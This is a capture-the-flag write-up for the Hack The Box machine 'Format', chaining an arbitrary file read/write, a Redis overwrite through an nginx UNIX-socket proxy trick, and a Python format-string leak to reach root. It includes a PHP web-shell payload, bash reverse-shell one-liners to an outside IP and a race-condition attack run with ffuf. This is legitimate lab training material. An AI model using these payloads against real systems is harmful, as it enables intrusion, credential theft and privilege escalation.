Format

Creator: coopertim13

Machine URL: https://app.hackthebox.com/machines/Format

Difficulty: Medium


Initial enumeration

We start with an nmap scan.

# Nmap 7.93 scan initiated Sat May 13 21:04:30 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.184.80
Nmap scan report for app.microblog.htb (10.129.184.80)
Host is up, received echo-reply ttl 63 (0.066s latency).
Scanned at 2023-05-13 21:04:30 CEST for 28s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c397ce837d255d5dedb545cdf20b054f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58JQV36v8AqpQB6tJC5upH5YdXw4LMaUJ4Exx+H6PjPZDab5MSx7Zm1oA1DWewM8tmU8fcprIxykYA8Z66Sd5ll/M1WntYO1b3LxxA0kI9F3yXQU+D2LMV6dGsqalJ80WWYcowlt3hZie6gnz4qEDj7ijCFi5h8K4R2rKtA16sH4FC9EQQU7qgN4WkE7uJSJS/6tWREtV/PspxsiMSBhUE0BreHurM6eaTZGa0VHOyNpbsZ3KXDro0fIOlfovRJVdAwWXF740M+X3aVngS9p1+XrnsVIqcL9T7GdU6H2Tyl5JvnGLdOr2Etd9NW41f+g+RYl7QY6WYbX+30racRmcTUtH4DODyeDXazi6fRUiXBI8pXkD3oLMBSxXsbeGT8Ja3LECPTybIl/jH3KRfl46P7TIUYZ2kqTZqxJ1B6klyZY+woh24UPDrZu/rW9JMaBz2tg97tAiLR8pLZxLrpVH7YmV8vXk2Sgo1rEuqKhBAK98bQuAsbocbjiyrKYAACc=
|   256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxL4FuxiK0hKkwexmffoZfwAs+0TzHjqgv3sbokWQzlt+YGLBXHmGuLjgjfi9Ir49zbxEL6iAOv8/Mj8hUPQVk=
|   256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9eUks4+f4DtePOKRJYzDggTf1cOpMhtAxXHGSqr5ng
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Microblog
|_http-favicon: Unknown favicon MD5: 063BE1EA8C64ECDB76CF23C6CCC1ED39
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
3000/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 13 21:04:59 2023 -- 1 IP address (1 host up) scanned in 28.91 seconds

Three ports are open:

  • 22 for OpenSSH.
  • 80 and 3000 for nginx.

We add microblog.htb to our /etc/hosts

nginx Web Server (TCP 80)

http://10.129.184.80 (machine IP) redirects us to app.microblog.htb – added to /etc/hosts.

app.microblog.htb

http://app.microblog.htb/

We are greeted by a page for the Microblog service.

app.microblog.htb

The web application allows us to create a blog at *.microblog.htb and edit it.

Source code

Contribute here! link (http://microblog.htb:3000/cooper/microblog) leads us to nginx on TCP 3000 that runs Gitea. This public repository seems to contain the source code for the microblog web application.

Gitea repository

Let’s clone the source code so we can better analyze it:

┌──(fluff㉿kali)-[/tmp]
└─$ git clone http://microblog.htb:3000/cooper/microblog.git

Registration

We can register with no hurdles at http://app.microblog.htb/register/.

Registration

Logged in as fluffme

The dashboard at http://app.microblog.htb/dashboard/ allows us to create a new blog, as well as edit and view it.

Dashboard

Looks like if we are a Pro user, we get an extended functionality:

Pro benefits

Unfortunately, the link to go Pro is not available. Looking at the source of microblog/app/register/index.php we see that pro is hardcoded to be false:

...
else {
        $redis->HSET(trim($_POST['username']), "username", trim($_POST['username']));
        $redis->HSET(trim($_POST['username']), "password", trim($_POST['password']));
        $redis->HSET(trim($_POST['username']), "first-name", trim($_POST['first-name']));
        $redis->HSET(trim($_POST['username']), "last-name", trim($_POST['last-name']));
        $redis->HSET(trim($_POST['username']), "pro", "false"); //not ready yet, license keys coming soon
        $_SESSION['username'] = trim($_POST['username']);
        header("Location: /dashboard?message=Registration successful!&status=success");
    }
...

Note that user data is stored in Redis. And redis is running on a UNIX socket:

    $redis = new Redis();
    $redis->connect('/var/run/redis/redis.sock');

Create and edit a blog

We can create blogs:

Create a blog

And edit them:

Edit blog

This concludes our initial look at the target.


The implementation of editing the blog looks weird in the source code.
Let’s look into it.

microblog/sunny/edit/index.php

When we add an element to our blog, we POST two parameters to /edit/index.php: id and txt.
The id is a random string but we fully control it, and the txt is the element contents.

...
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $txt_nl = nl2br($_POST['txt']);
    $html = "<div class = \"blog-text\">{$txt_nl}</div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}
...

The web application:

  • Changes the working directory to ../content.
  • Processes our txt POST parameter contents to modify the line breaks and wrap it in the <div>.
  • And writes the resulting HTML to a file with the name specified in the id POST parameter.
  • Then it opens a file named order.txt and adds the contents of the id POST parameter to it.

microblog/sunny/index.php

Looking at the code that displays the content:

...
function fetchPage() {
    chdir(getcwd() . "/content");
    $order = file("order.txt", FILE_IGNORE_NEW_LINES);
    $html_content = "";
    foreach($order as $line) {
        $temp = $html_content;
        $html_content = $temp . "<div class = \"{$line}\">" . file_get_contents($line) . "</div>";
    }
    return $html_content;
}
...

We see that it parses the order.txt file and file_get_contents() every line.

With all this in mind, we can safely assume that we have an Arbitrary file Read/Write on our hands.

Arbitrary File Read/Write in /edit/index.php

We can use this vulnerability to read any file our user has permission to read as well as write to any directory or file that we have write permissions over.

Let’s test it out.

POST /edit/index.php HTTP/1.1
Host: fluffme.microblog.htb
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Cookie: username=8lqept5uv4ga0ltkhanv040iq7
Connection: close

id=/etc/passwd&txt=a

File read

Success! We get the contents of /etc/passwd back and it will be displayed on our blog.

Attempting file write

After poking around and attempting to write to various locations that could be useful to me, I quickly discovered that write permissions are pretty strict.

However, if we can get the Pro status, we will have a good directory to write to – /uploads:

microblog/sunny/edit/index.php

...
function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}
...

Our goal now is to obtain Pro.

Reading nginx configuration

Let’s use our file-read capabilities to study some configuration files.

/etc/nginx/sites-enabled/default

...
server {
        listen 80;
        listen [::]:80;

        root /var/www/microblog/app;

        index index.html index.htm index-nginx-debian.html;

        server_name microblog.htb;

        location / {
                return 404;
        }

        location = /static/css/health/ {
                resolver 127.0.0.1;
                proxy_pass http://css.microbucket.htb/health.txt;
        }

        location = /static/js/health/ {
                resolver 127.0.0.1;
                proxy_pass http://js.microbucket.htb/health.txt;
        }

        location ~ /static/(.*)/(.*) {
                resolver 127.0.0.1;
                proxy_pass http://$1.microbucket.htb/$2;
        }
}
...

Added microbucket.htb to hosts. The proxy_pass to http://$1.microbucket.htb/$2 looks very generous on the regex and the replacement.

Obtaining Pro: Redis key overwrite – UNIX socket injection in proxied host

From the source of the web application, we know that the Redis socket is located at /var/run/redis/redis.sock.

nginx’s proxy_pass allows proxying requests to UNIX sockets with the syntax:

proxy_pass http://unix:/path/to/socket.file:/uri/;

As we can completely control the replacement of $1 in http://$1.microbucket.htb/$2; it should be possible to communicate with Redis over the UNIX socket and change our user properties in the Redis database.

In particular, we want pro to be true so we can use our Arbitrary File Write vulnerability to execute code.

Relevant blog post: https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

Testing

First, we will attempt to call our web server to prove that it works.

GET /static/10.10.14.99/a/a HTTP/1.1
Host: microblog.htb
User-Agent: Mozilla/5.0
Accept: */*

We get a request on our web server:

10.129.185.21 - - [15/May/2023 05:14:23] code 404, message File not found
10.129.185.21 - - [15/May/2023 05:14:23] "GET /a.microbucket.htb/a HTTP/1.0" 404

Exploitation

Send the following HTTP request to microblog.htb:

HSET /static/unix:/var/run/redis/redis.sock:fluffme pro true /a/a HTTP/1.1
Host: microblog.htb
User-Agent: Mozilla/5.0
Accept: */*

On the backend, after the proxy pass to Redis, this HTTP request becomes the following:

HSET fluffme pro true /a/a HTTP/1.1

This will make us a pro user of the web application:

Pro user

Arbitrary File Write to obtain a shell

As a Pro user, now when we create a blog, we have read, write, and execute permissions in the uploads directory of our blog.
Any PHP file we write here should be executable by the web server.

POST /edit/index.php HTTP/1.1
Host: fluffme.microblog.htb
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Cookie: username=8lqept5uv4ga0ltkhanv040iq7
Connection: close

id=../uploads/fluff.php&txt=<%3fphp+system($_GET["a"])%3b%3f>
┌──(fluff㉿kali)-[/tmp/format]
└─$ curl http://fluffme.microblog.htb/uploads/fluff.php?a=whoami
<div class = "blog-text">www-data
</div>

We have code execution as www-data.

Reverse shell

┌──(fluff㉿kali)-[/tmp/format]
└─$ curl 'http://fluffme.microblog.htb/uploads/fluff.php?a=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.99/443+0>%261"'

Foothold as www-data

Let’s see what else we can find in Redis:

www-data@format:/tmp$ redis-cli -s /var/run/redis/redis.sock

redis /var/run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=2,expires=0,avg_ttl=0

redis /var/run/redis/redis.sock> SELECT 0
OK

redis /var/run/redis/redis.sock> KEYS *
1) "cooper.dooper:sites"
2) "cooper.dooper"
3) "fluffme:sites"
4) "fluffme"

redis /var/run/redis/redis.sock> HGETALL 'cooper.dooper'
 1) "username"
 2) "cooper.dooper"
 3) "password"
 4) "z<REDACTED>r"
 5) "first-name"
 6) "Cooper"
 7) "last-name"
 8) "Dooper"
 9) "pro"
10) "false"

We have credentials for cooper.dooper.
This password is reused and we can su cooper or SSH as cooper with it.

cooper

Grab a flag in ~/user.txt.

Checking sudo

cooper@format:~$ sudo -l
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

We are allowed to run /usr/bin/license as root.
license is a python script and we can read its contents.

Checking the code

...
class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()
...
secret = [line.strip() for line in open("/root/license/secret")][0]
...
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
...
    print(license_key)

We can control values that are fetched from Redis as well as the username from arguments.

In the format string:

license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

license (l) is an instance of the class License().

We can inject into a format string, obtain __globals__ from license and read the value of the variable secret.

Privilege Escalation to root

First, we need to change our last name in Redis:

cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> select 0
OK
redis /var/run/redis/redis.sock> HSET fluffme last-name 'ME--{license.__init__.__globals__[secret]}'
(integer) 0

Note the format string {license.__init__.__globals__[secret]}.

Note: you may need to re-register on the app.microblog.htb due to the cleanup jobs.

Now we run license as root:

cooper@format:~$ sudo /usr/bin/license -p fluff

Plaintext license key:
------------------------------------------------------
microblogfluffmeRs\O4U<b(%0dFRCTp3w0LA0M,1}8>NyK!r$F_^YgFluffME--u<REDACTED>d
...

The value of secret is u<REDACTED>d.

This secret is reused as a password to root.
We can su or SSH with it.

Grab a flag in /root/root.txt and we are done!


Bonus: Unintended foothold – Race condition with write privileges during blog creation

This unintended way to obtain foothold worked during the box release window.
As with any race it is unrealiable and you may need to repeat it several times.


During creation of the new blog there is a short time when our user has write permissions over the folder until they are unset.

microblog/app/dashboard/index.php

...
function addSite($site_name) {
    if(isset($_SESSION['username'])) {
...
        chdir(getcwd() . "/../../../");
        system("chmod +w microblog");
        chdir(getcwd() . "/microblog/");
        if(!is_dir($site_name)) {
            mkdir($site_name, 0700);
        }
        system("cp -r /var/www/microblog-template/* /var/www/microblog/" . $site_name);
        if(is_dir($site_name)) {
            chdir(getcwd() . "/" . $site_name);
        }
        system("chmod +w content");
        chdir(getcwd() . "/../");
        system("chmod 500 " . $site_name);
        chdir(getcwd() . "/../");
        system("chmod -w microblog");
        header("Location: /dashboard?message=Site added successfully!&status=success");
    }
    else {
        header("Location: /dashboard?message=Site not added, authentication failed&status=fail");
    }
}
...

In this brief window of having write permissions we can use the Arbitrary File Write in /edit/index.php to write a PHP file and later execute it.

Exploitation

We will bombard the server with file write requests via Arbitrary File Write vulnerability to /var/www/microblog/exploit/fluff.php.

At the same time will request the creation of exploit.microblog.htb on the dashboard.

To send a ton of request we will use ffuf. This is a janky way to do it, but I couldn’t be bothered to write a python script XD.

┌──(fluff㉿kali)-[/opt/ctf/htb/format/exploit]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -ic -c -t 400 -e txt,bak,php,md,html,htm,zip -X POST -u 'http://fluffme.microblog.htb/edit/index.php' -d 'id=/var/www/microblog/exploit/fluff.php&txt=<%3fphp+system($_GET["a"])%3b+%3f>&fuzz=FUZZ' -b 'username=8lqept5uv4ga0ltkhanv040iq7' -mr pwnd -H 'Content-Type: application/x-www-form-urlencoded'

While this is running, we request creation of exploit.microblog.htb on http://app.microblog.htb/dashboard/.

Registering the exploit blog

After domain is created we can add exploit.microblog.htb to our /etc/hosts.

┌──(fluff㉿kali)-[/tmp/microblog]
└─$ curl 'http://exploit.microblog.htb/fluff.php?a=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.99/443+0>%261"' -v

We catch a shell as www-data.